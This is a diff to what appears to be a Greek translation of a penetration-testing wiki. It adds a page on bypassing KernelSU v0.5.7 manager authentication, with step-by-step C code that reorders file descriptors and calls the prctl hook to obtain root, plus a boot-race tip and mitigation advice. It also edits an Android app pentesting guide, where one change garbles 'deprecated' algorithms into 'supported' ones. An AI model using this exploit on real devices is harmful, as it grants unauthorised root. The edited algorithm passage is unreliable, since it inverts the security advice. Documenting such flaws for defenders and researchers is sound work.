+- Αναφορά: core_hook.c (v0.5.7) λογική ιδιοκτησίας.
+
+3) Έλεγχος υπογραφής APK μέσω σάρωσης πίνακα FD
+- Επαναλάβετε τους ανοιχτούς περιγραφείς αρχείων (FDs) της καλούσας διαδικασίας.
+- Επιλέξτε το πρώτο αρχείο του οποίου η διαδρομή ταιριάζει με /data/app/*/base.apk.
+- Αναλύστε την υπογραφή APK v2 και επαληθεύστε την με την επίσημη πιστοποίηση του manager.
+- Αναφορές: manager.c (επανάληψη FDs), apk_sign.c (επικύρωση APK v2).
+
+Εάν περάσουν όλοι οι έλεγχοι, ο πυρήνας αποθηκεύει προσωρινά το UID του manager και αποδέχεται προνομιακές εντολές από αυτό το UID μέχρι να επαναρυθμιστεί.
+
+---
+## Κατηγορία ευπάθειας: εμπιστοσύνη στο “πρώτο ταιριαστό APK” από την επανάληψη FD
+
+Εάν ο έλεγχος υπογραφής συνδέεται με "το πρώτο ταιριαστό /data/app/*/base.apk" που βρέθηκε στον πίνακα FD της διαδικασίας, στην πραγματικότητα δεν επαληθεύει το δικό του πακέτο του καλούντα. Ένας επιτιθέμενος μπορεί να τοποθετήσει εκ των προτέρων ένα νόμιμα υπογεγραμμένο APK (του πραγματικού manager) έτσι ώστε να εμφανίζεται νωρίτερα στη λίστα FD από το δικό του base.apk.
+
+Αυτή η εμπιστοσύνη μέσω έμμεσης αναφοράς επιτρέπει σε μια μη προνομιούχα εφαρμογή να προσποιείται τον manager χωρίς να κατέχει το κλειδί υπογραφής του manager.
+
+Κύριες ιδιότητες που εκμεταλλεύονται:
+- Η σάρωση FD δεν συνδέεται με την ταυτότητα του πακέτου του καλούντα; απλώς ταιριάζει με τις συμβολοσειρές διαδρομής.
+- open() επιστρέφει τον χαμηλότερο διαθέσιμο FD. Κλείνοντας πρώτα τους χαμηλότερους αριθμημένους FDs, ένας επιτιθέμενος μπορεί να ελέγξει τη σειρά.
+- Ο φίλτρος ελέγχει μόνο ότι η διαδρομή ταιριάζει με /data/app/*/base.apk – όχι ότι αντιστοιχεί στο εγκατεστημένο πακέτο του καλούντα.
+
+---
+## Προϋποθέσεις επίθεσης
+
+- Η συσκευή είναι ήδη rooted με ένα ευάλωτο framework rooting (π.χ., KernelSU v0.5.7).
+- Ο επιτιθέμενος μπορεί να εκτελέσει αυθαίρετο μη προνομιούχο κώδικα τοπικά (διαδικασία Android app).
+- Ο πραγματικός manager δεν έχει αυθεντικοποιηθεί ακόμη (π.χ., αμέσως μετά από μια επανεκκίνηση). Ορισμένα frameworks αποθηκεύουν το UID του manager μετά την επιτυχία; πρέπει να κερδίσετε τον αγώνα.
+
+---
+## Σκηνικό εκμετάλλευσης (KernelSU v0.5.7)
+
+Βασικά βήματα:
+1) Δημιουργήστε μια έγκυρη διαδρομή προς τον κατάλογο δεδομένων της δικής σας εφαρμογής για να ικανοποιήσετε τους ελέγχους προθέματος και ιδιοκτησίας.
+2) Βεβαιωθείτε ότι ένα γνήσιο KernelSU Manager base.apk είναι ανοιχτό σε χαμηλότερο αριθμημένο FD από το δικό σας base.apk.
+3) Καλέστε prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) για να περάσετε τους ελέγχους.
+4) Εκδώστε προνομιακές εντολές όπως CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY για να διατηρήσετε την ανύψωση.
+
+Πρακτικές σημειώσεις για το βήμα 2 (σειρά FD):
+- Εντοπίστε τον FD της διαδικασίας σας για το δικό σας /data/app/*/base.apk περπατώντας στους συμβολικούς συνδέσμους /proc/self/fd.
+- Κλείστε έναν χαμηλό FD (π.χ., stdin, fd 0) και ανοίξτε πρώτα το νόμιμο APK του manager ώστε να καταλαμβάνει τον fd 0 (ή οποιονδήποτε δείκτη χαμηλότερο από τον δικό σας fd base.apk).
+- Συμπεριλάβετε το νόμιμο APK του manager με την εφαρμογή σας ώστε η διαδρομή του να ικανοποιεί τον απλό φίλτρο του πυρήνα. Για παράδειγμα, τοποθετήστε το κάτω από μια υποδιαδρομή που ταιριάζει με /data/app/*/base.apk.
+
+Παράδειγμα κώδικα (Android/Linux, μόνο για επεξηγηματικούς σκοπούς):
+
+Επαναλάβετε τους ανοιχτούς FDs για να εντοπίσετε τις καταχωρίσεις base.apk:
+```c
+#include <dirent.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <string.h>
+
+int find_first_baseapk_fd(char out_path[PATH_MAX]) {
+DIR *d = opendir("/proc/self/fd");
+if (!d) return -1;
+struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX];
+int best_fd = -1;
+while ((e = readdir(d))) {
+if (e->d_name[0] == '.') continue;
+int fd = atoi(e->d_name);
+snprintf(link, sizeof(link), "/proc/self/fd/%d", fd);
+ssize_t n = readlink(link, p, sizeof(p)-1);
+if (n <= 0) continue; p[n] = '\0';
+if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) {
+if (best_fd < 0 || fd < best_fd) {
+best_fd = fd; strncpy(out_path, p, PATH_MAX);
+}
+}
+}
+closedir(d);
+return best_fd; // First (lowest) matching fd
+}
+```
+Αναγκάστε έναν FD με χαμηλότερο αριθμό να δείχνει στην νόμιμη APK του διαχειριστή:
+```c
+#include <fcntl.h>
+#include <unistd.h>
+
+void preopen_legit_manager_lowfd(const char *legit_apk_path) {
+// Reuse stdin (fd 0) if possible so the next open() returns 0
+close(0);
+int fd = open(legit_apk_path, O_RDONLY);
+(void)fd; // fd should now be 0 if available
+}
+```
+Διαχείριση αυθεντικοποίησης μέσω του prctl hook:
+```c
+#include <sys/prctl.h>
+#include <stdint.h>
+
+#define KSU_MAGIC          0xDEADBEEF
+#define CMD_BECOME_MANAGER 0x100  // Placeholder; command IDs are framework-specific
+
+static inline long ksu_call(unsigned long cmd, unsigned long arg2,
+unsigned long arg3, unsigned long arg4) {
+return prctl(KSU_MAGIC, cmd, arg2, arg3, arg4);
+}
+
+int become_manager(const char *my_data_dir) {
+long result = -1;
+// arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr
+result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0);
+return (int)result;
+}
+```
+Μετά την επιτυχία, εντολές με προνόμια (παραδείγματα):
+- CMD_GRANT_ROOT: προώθηση της τρέχουσας διαδικασίας σε root
+- CMD_ALLOW_SU: προσθήκη του πακέτου/UID σας στη λίστα επιτρεπόμενων για μόνιμο su
+- CMD_SET_SEPOLICY: προσαρμογή της πολιτικής SELinux όπως υποστηρίζεται από το πλαίσιο
+
+Συμβουλή για αγώνα/επιμονή:
+- Εγγραφείτε σε έναν δέκτη BOOT_COMPLETED στο AndroidManifest (RECEIVE_BOOT_COMPLETED) για να ξεκινήσετε νωρίς μετά την επανεκκίνηση και να προσπαθήσετε να αυθεντικοποιήσετε πριν από τον πραγματικό διαχειριστή.
+
+---
+## Κατευθυντήριες γραμμές ανίχνευσης και μετριασμού
+
+Για προγραμματιστές πλαισίων:
+- Συνδέστε την αυθεντικοποίηση με το πακέτο/UID του καλούντος, όχι με τυχαίους FD:
+- Εντοπίστε το πακέτο του καλούντος από το UID του και επαληθεύστε το με την υπογραφή του εγκατεστημένου πακέτου (μέσω PackageManager) αντί να σαρώσετε τους FD.
+- Εάν είναι μόνο πυρήνας, χρησιμοποιήστε σταθερή ταυτότητα καλούντος (task creds) και επαληθεύστε σε μια σταθερή πηγή αλήθειας που διαχειρίζεται ο init/userspace helper, όχι τους FD διαδικασίας.
+- Αποφύγετε τους ελέγχους προθέματος διαδρομής ως ταυτότητα; είναι προφανώς ικανοποιημένοι από τον καλούντα.
+- Χρησιμοποιήστε προκλήσεις με nonce–απάντηση μέσω του καναλιού και καθαρίστε οποιαδήποτε αποθηκευμένη ταυτότητα διαχειριστή κατά την εκκίνηση ή σε σημαντικά γεγονότα.
+- Σκεφτείτε την αυθεντικοποιημένη IPC βασισμένη σε binder αντί να υπερφορτώνετε τους γενικούς syscalls όταν είναι εφικτό.
+
+Για αμυντικούς/μπλε ομάδες:
+- Ανιχνεύστε την παρουσία πλαισίων rooting και διαδικασιών διαχειριστή; παρακολουθήστε τις κλήσεις prctl με ύποπτες μαγικές σταθερές (π.χ., 0xDEADBEEF) εάν έχετε τηλεμετρία πυρήνα.
+- Σε διαχειριζόμενα στόλους, αποκλείστε ή ειδοποιήστε για δέκτες εκκίνησης από μη αξιόπιστα πακέτα που προσπαθούν γρήγορα να εκτελέσουν εντολές διαχειριστή με προνόμια μετά την εκκίνηση.
+- Βεβαιωθείτε ότι οι συσκευές είναι ενημερωμένες σε διορθωμένες εκδόσεις πλαισίου; ακυρώστε τις αποθηκευμένες ταυτότητες διαχειριστή κατά την ενημέρωση.
+
+Περιορισμοί της επίθεσης:
+- Επηρεάζει μόνο συσκευές που είναι ήδη ριζωμένες με ένα ευάλωτο πλαίσιο.
+- Συνήθως απαιτεί επανεκκίνηση/παράθυρο αγώνα πριν από την αυθεντικοποίηση του νόμιμου διαχειριστή (ορισμένα πλαίσια αποθηκεύουν το UID του διαχειριστή μέχρι την επαναφορά).
+
+---
+## Σχετικές σημειώσεις σε διάφορα πλαίσια
+
+- Η αυθεντικοποίηση με βάση τον κωδικό πρόσβασης (π.χ., ιστορικές εκδόσεις APatch/SKRoot) μπορεί να είναι αδύναμη εάν οι κωδικοί πρόσβασης είναι μαντεύσιμοι/βίαιοι ή οι επικυρώσεις είναι ελαττωματικές.
+- Η αυθεντικοποίηση με βάση το πακέτο/υπογραφή (π.χ., KernelSU) είναι ισχυρότερη στην αρχή αλλά πρέπει να συνδέεται με τον πραγματικό καλούντα, όχι με έμμεσες οντότητες όπως οι σαρώσεις FD.
+- Magisk: CVE-2024-48336 (MagiskEoP) έδειξε ότι ακόμη και ώριμα οικοσυστήματα μπορεί να είναι ευάλωτα σε παραποίηση ταυτότητας που οδηγεί σε εκτέλεση κώδικα με root μέσα στο πλαίσιο του διαχειριστή.
+
+---
+## Αναφορές
+
+- [Zimperium – The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device](https://zimperium.com/blog/the-rooting-of-all-evil-security-holes-that-could-compromise-your-mobile-device)
+- [KernelSU v0.5.7 – core_hook.c path checks (L193, L201)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/core_hook.c#L193)
+- [KernelSU v0.5.7 – manager.c FD iteration/signature check (L43+)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/manager.c#L43)
+- [KernelSU – apk_sign.c APK v2 verification (main)](https://github.com/tiann/KernelSU/blob/main/kernel/apk_sign.c#L319)
+- [KernelSU project](https://kernelsu.org/)
+- [APatch](https://github.com/bmax121/APatch)
+- [SKRoot](https://github.com/abcz316/SKRoot-linuxKernelRoot)
+- [MagiskEoP – CVE-2024-48336](https://github.com/canyie/MagiskEoP)
+- [KSU PoC demo video (Wistia)](https://zimperium-1.wistia.com/medias/ep1dg4t2qg?videoFoam=true)
+
+{{#include ../../banners/hacktricks-training.md}}

src/mobile-pentesting/android-app-pentesting/README.md

@@ -54,14 +54,18 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 ../ios-pentesting/air-keyboard-remote-input-injection.md
 {{#endref}}
 
+{{#ref}}
+../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
+{{#endref}}
+
 ## Στατική Ανάλυση
 
-Πρώτα απ' όλα, για να αναλύσετε ένα APK θα πρέπει να **ρίξετε μια ματιά στον κώδικα Java** χρησιμοποιώντας έναν αποσυμπιεστή.\
-Παρακαλώ, [**διαβάστε εδώ για να βρείτε πληροφορίες σχετικά με τους διαθέσιμους αποσυμπιεστές**](apk-decompilers.md).
+Πρώτα απ' όλα, για να αναλύσετε ένα APK θα πρέπει να **ρίξετε μια ματιά στον κώδικα Java** χρησιμοποιώντας έναν decompiler.\
+Παρακαλώ, [**διαβάστε εδώ για να βρείτε πληροφορίες σχετικά με διάφορους διαθέσιμους decompilers**](apk-decompilers.md).
 
 ### Αναζητώντας ενδιαφέρουσες Πληροφορίες
 
-Απλά ρίχνοντας μια ματιά στις **αλφαβητικές σειρές** του APK μπορείτε να αναζητήσετε **κωδικούς πρόσβασης**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **κλειδιά** **api**, **κρυπτογράφηση**, **bluetooth uuids**, **tokens** και οτιδήποτε άλλο ενδιαφέρον... κοιτάξτε ακόμα και για εκτέλεση κώδικα **backdoors** ή backdoors αυθεντικοποίησης (σκληρά κωδικοποιημένα διαπιστευτήρια διαχειριστή στην εφαρμογή).
+Απλά ρίχνοντας μια ματιά στις **αλφαβητικές ακολουθίες** του APK μπορείτε να αναζητήσετε **κωδικούς πρόσβασης**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** κλειδιά, **κρυπτογράφηση**, **bluetooth uuids**, **tokens** και οτιδήποτε ενδιαφέρον... αναζητήστε ακόμη και για εκτέλεση κώδικα **backdoors** ή backdoors αυθεντικοποίησης (σκληρά κωδικοποιημένα διαπιστευτήρια διαχειριστή στην εφαρμογή).
 
 **Firebase**
 
@@ -69,24 +73,24 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 
 ### Βασική κατανόηση της εφαρμογής - Manifest.xml, strings.xml
 
-Η **εξέταση των αρχείων _Manifest.xml_ και **_strings.xml_** μιας εφαρμογής μπορεί να αποκαλύψει πιθανές ευπάθειες ασφαλείας**. Αυτά τα αρχεία μπορούν να προσπελαστούν χρησιμοποιώντας αποσυμπιεστές ή με την αλλαγή της επέκτασης του αρχείου APK σε .zip και στη συνέχεια αποσυμπιέζοντάς το.
+Η **εξέταση των αρχείων _Manifest.xml_ και **_strings.xml_** μιας εφαρμογής μπορεί να αποκαλύψει πιθανές ευπάθειες ασφαλείας**. Αυτά τα αρχεία μπορούν να προσπελαστούν χρησιμοποιώντας decompilers ή με την αλλαγή της επέκτασης του αρχείου APK σε .zip και στη συνέχεια αποσυμπιέζοντάς το.
 
-**Ευπάθειες** που εντοπίστηκαν από το **Manifest.xml** περιλαμβάνουν:
+**Ευπάθειες** που εντοπίζονται από το **Manifest.xml** περιλαμβάνουν:
 
-- **Debuggable Εφαρμογές**: Οι εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο αρχείο _Manifest.xml_ θέτουν σε κίνδυνο καθώς επιτρέπουν συνδέσεις που μπορεί να οδηγήσουν σε εκμετάλλευση. Για περαιτέρω κατανόηση σχετικά με το πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε ένα tutorial για την εύρεση και εκμετάλλευση debuggable εφαρμογών σε μια συσκευή.
-- **Ρυθμίσεις Αντιγράφων Ασφαλείας**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που ασχολούνται με ευαίσθητες πληροφορίες για να αποτραπούν μη εξουσιοδοτημένα αντίγραφα ασφαλείας δεδομένων μέσω adb, ειδικά όταν είναι ενεργοποιημένη η αποσφαλμάτωση usb.
+- **Debuggable Εφαρμογές**: Οι εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο αρχείο _Manifest.xml_ ενέχουν κίνδυνο καθώς επιτρέπουν συνδέσεις που μπορεί να οδηγήσουν σε εκμετάλλευση. Για περαιτέρω κατανόηση σχετικά με το πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε ένα tutorial για την εύρεση και εκμετάλλευση debuggable εφαρμογών σε μια συσκευή.
+- **Ρυθμίσεις Αντιγράφων Ασφαλείας**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που διαχειρίζονται ευαίσθητες πληροφορίες ώστε να αποτρέπεται η μη εξουσιοδοτημένη δημιουργία αντιγράφων ασφαλείας μέσω adb, ειδικά όταν είναι ενεργοποιημένη η αποσφαλμάτωση usb.
 - **Ασφάλεια Δικτύου**: Οι προσαρμοσμένες ρυθμίσεις ασφάλειας δικτύου (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως πιστοποιητικά και ρυθμίσεις HTTP. Ένα παράδειγμα είναι η επιτρεπόμενη κυκλοφορία HTTP για συγκεκριμένους τομείς.
-- **Εξαγόμενες Δραστηριότητες και Υπηρεσίες**: Η αναγνώριση εξαγόμενων δραστηριοτήτων και υπηρεσιών στο manifest μπορεί να αναδείξει στοιχεία που μπορεί να χρησιμοποιηθούν κακόβουλα. Περαιτέρω ανάλυση κατά τη διάρκεια δυναμικής δοκιμής μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα στοιχεία.
+- **Εξαγόμενες Δραστηριότητες και Υπηρεσίες**: Η αναγνώριση εξαγόμενων δραστηριοτήτων και υπηρεσιών στο manifest μπορεί να αναδείξει στοιχεία που μπορεί να κακοποιηθούν. Περαιτέρω ανάλυση κατά τη διάρκεια δυναμικής δοκιμής μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα στοιχεία.
 - **Content Providers και FileProviders**: Οι εκτεθειμένοι content providers θα μπορούσαν να επιτρέψουν μη εξουσιοδοτημένη πρόσβαση ή τροποποίηση δεδομένων. Η ρύθμιση των FileProviders θα πρέπει επίσης να εξεταστεί προσεκτικά.
 - **Broadcast Receivers και URL Schemes**: Αυτά τα στοιχεία θα μπορούσαν να χρησιμοποιηθούν για εκμετάλλευση, με ιδιαίτερη προσοχή στο πώς διαχειρίζονται τα URL schemes για ευπάθειες εισόδου.
 - **Εκδόσεις SDK**: Τα χαρακτηριστικά `minSdkVersion`, `targetSDKVersion`, και `maxSdkVersion` υποδεικνύουν τις υποστηριζόμενες εκδόσεις Android, τονίζοντας τη σημασία της μη υποστήριξης παλαιών, ευάλωτων εκδόσεων Android για λόγους ασφαλείας.
 
-Από το αρχείο **strings.xml**, ευαίσθητες πληροφορίες όπως κλειδιά API, προσαρμοσμένα σχήματα και άλλες σημειώσεις προγραμματιστών μπορούν να ανακαλυφθούν, υπογραμμίζοντας την ανάγκη για προσεκτική ανασκόπηση αυτών των πόρων.
+Από το αρχείο **strings.xml**, ευαίσθητες πληροφορίες όπως API κλειδιά, προσαρμοσμένα σχήματα και άλλες σημειώσεις προγραμματιστών μπορούν να ανακαλυφθούν, υπογραμμίζοντας την ανάγκη για προσεκτική ανασκόπηση αυτών των πόρων.
 
 ### Tapjacking
 
 **Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις καλύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ μεταφέρει την αλληλεπίδραση στην εφαρμογή θύμα.\
-Στην ουσία, **τυφλώνει τον χρήστη από το να γνωρίζει ότι εκτελεί ενέργειες στην εφαρμογή θύμα**.
+Στην ουσία, **τυφλώνει τον χρήστη από το να γνωρίζει ότι στην πραγματικότητα εκτελεί ενέργειες στην εφαρμογή θύμα**.
 
 Βρείτε περισσότερες πληροφορίες στο:
 
@@ -96,7 +100,7 @@ tapjacking.md
 
 ### Task Hijacking
 
-Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε task Hijacking. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή, θα μπορούσε να **υφαρπάξει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
+Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε task Hijacking. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή, θα μπορούσε να **καταλάβει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
 
 Περισσότερες πληροφορίες στο:
 
@@ -132,7 +136,7 @@ android-task-hijacking.md
 Η εξωτερική αποθήκευση μπορεί να **προσεγγιστεί** στο `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
 
 > [!TIP]
-> Ξεκινώντας από το Android 4.4 (**API 17**), η κάρτα SD έχει μια δομή καταλόγου που **περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που είναι ειδικά για αυτή την εφαρμογή**. Αυτό αποτρέπει την κακόβουλη εφαρμογή από το να αποκτήσει πρόσβαση για ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής.
+> Ξεκινώντας από το Android 4.4 (**API 17**), η κάρτα SD έχει μια δομή καταλόγου που **περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που είναι ειδικά για αυτήν την εφαρμογή**. Αυτό αποτρέπει την κακόβουλη εφαρμογή από το να αποκτήσει πρόσβαση για ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής.
 
 **Ευαίσθητα δεδομένα αποθηκευμένα σε καθαρό κείμενο**
 
@@ -143,7 +147,7 @@ android-task-hijacking.md
 
 **Αποδοχή Όλων των Πιστοποιητικών**
 
-Για κάποιο λόγο, μερικές φορές οι προγραμματιστές αποδέχονται όλα τα πιστοποιητικά ακόμα και αν, για παράδειγμα, το όνομα κεντρικού υπολογιστή δεν ταιριάζει με γραμμές κώδικα όπως η παρακάτω:
+Για κάποιο λόγο, μερικές φορές οι προγραμματιστές αποδέχονται όλα τα πιστοποιητικά ακόμη και αν, για παράδειγμα, το όνομα κεντρικού υπολογιστή δεν ταιριάζει με γραμμές κώδικα όπως η παρακάτω:
 ```java
 SSLSocketFactory sf = new cc(trustStore);
 sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@@ -156,13 +160,13 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
 
 Ορισμένοι προγραμματιστές αποθηκεύουν ευαίσθητα δεδομένα στην τοπική αποθήκευση και τα κρυπτογραφούν με ένα κλειδί σκληρά κωδικοποιημένο/προβλέψιμο στον κώδικα. Αυτό δεν θα έπρεπε να γίνεται καθώς κάποια αναστροφή θα μπορούσε να επιτρέψει στους επιτιθέμενους να εξάγουν τις εμπιστευτικές πληροφορίες.
 
-**Χρήση Ανασφαλών και/ή Παρωχημένων Αλγορίθμων**
+**Χρήση Ανασφαλών και/ή Υποστηριζόμενων Αλγορίθμων**
 
-Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **παρωχημένους αλγορίθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικά σε brute-force με salt.
+Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **υποστηριζόμενους αλγορίθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν οι **hashes** χρησιμοποιούνται για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικοί σε brute-force με salt.
 
 ### Άλλοι έλεγχοι
 
-- Συνιστάται να **παραποιήσετε το APK** για να δυσκολέψετε τη δουλειά του αναστροφέα για τους επιτιθέμενους.
+- Συνιστάται να **αποκρύπτετε το APK** για να δυσκολέψετε τη δουλειά του reverse engineer στους επιτιθέμενους.
 - Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να εκτελεί τους **δικούς της ελέγχους για να δει αν το κινητό είναι ριζωμένο** και να ενεργεί αναλόγως.
 - Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να ελέγχει αν χρησιμοποιείται **emulator**.
 - Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να **ελέγχει την ακεραιότητά της πριν την εκτέλεση** για να ελέγξει αν έχει τροποποιηθεί.
@@ -223,7 +227,7 @@ content-protocol.md
 
 ## Δυναμική Ανάλυση
 
-> Πρώτα απ' όλα, χρειάζεστε ένα περιβάλλον όπου μπορείτε να εγκαταστήσετε την εφαρμογή και όλο το περιβάλλον (Burp CA cert, Drozer και Frida κυρίως). Επομένως, μια ριζωμένη συσκευή (εξομοιωμένη ή όχι) είναι εξαιρετικά συνιστώμενη.
+> Πρώτα απ' όλα, χρειάζεστε ένα περιβάλλον όπου μπορείτε να εγκαταστήσετε την εφαρμογή και όλο το περιβάλλον (πιστοποιητικό Burp CA, Drozer και Frida κυρίως). Επομένως, μια ριζωμένη συσκευή (εξομοιωμένη ή όχι) είναι εξαιρετικά συνιστώμενη.
 
 ### Διαδικτυακή Δυναμική Ανάλυση
 
@@ -266,10 +270,10 @@ avd-android-virtual-device.md
 2. (Από Android 8.0) Επιλέξτε **Σύστημα**.
 3. Επιλέξτε **Σχετικά με το τηλέφωνο**.
 4. Πατήστε **Αριθμός κατασκευής** 7 φορές.
-5. Επιστρέψτε πίσω και θα βρείτε τις **Επιλογές προγραμματιστή**.
+5. Επιστρέψτε και θα βρείτε τις **Επιλογές προγραμματιστή**.
 
 > Μόλις εγκαταστήσετε την εφαρμογή, το πρώτο πράγμα που πρέπει να κάνετε είναι να την δοκιμάσετε και να ερευνήσετε τι κάνει, πώς λειτουργεί και να εξοικειωθείτε με αυτήν.\
-> Θα προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας την δυναμική ανάλυση MobSF + pidcat**, έτσι ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
+> Θα προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας την δυναμική ανάλυση MobSF + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
 
 ### Ακούσια Διαρροή Δεδομένων
 
@@ -287,13 +291,13 @@ avd-android-virtual-device.md
 
 **Crash Logs**
 
-Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριάσετε αυτόν τον κίνδυνο, αποφύγετε την καταγραφή σε περιπτώσεις κατάρρευσης, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω ενός καναλιού SSL για ασφάλεια.
+Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριάσετε αυτόν τον κίνδυνο, αποφύγετε την καταγραφή σε περιπτώσεις κατάρρευσης, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω ενός SSL καναλιού για ασφάλεια.
 
 Ως pentester, **προσπαθήστε να ρίξετε μια ματιά σε αυτά τα logs**.
 
 **Δεδομένα Analytics που αποστέλλονται σε τρίτους**
 
-Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να **διαρρεύσουν ευαίσθητα δεδομένα** λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων.
+Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να διαρρεύσουν ευαίσθητα δεδομένα λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων.
 
 ### SQLite DBs
 
@@ -307,18 +311,18 @@ avd-android-virtual-device.md
 ### Drozer (Εκμετάλλευση Δραστηριοτήτων, Παρόχων Περιεχομένου και Υπηρεσιών)
 
 Από [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** σας επιτρέπει να **αναλαμβάνετε το ρόλο μιας εφαρμογής Android** και να αλληλεπιδράτε με άλλες εφαρμογές. Μπορεί να κάνει **οτιδήποτε μπορεί να κάνει μια εγκατεστημένη εφαρμογή**, όπως να χρησιμοποιήσει τον μηχανισμό Επικοινωνίας Μεταξύ Διαδικασιών (IPC) του Android και να αλληλεπιδράσει με το υποκείμενο λειτουργικό σύστημα.\
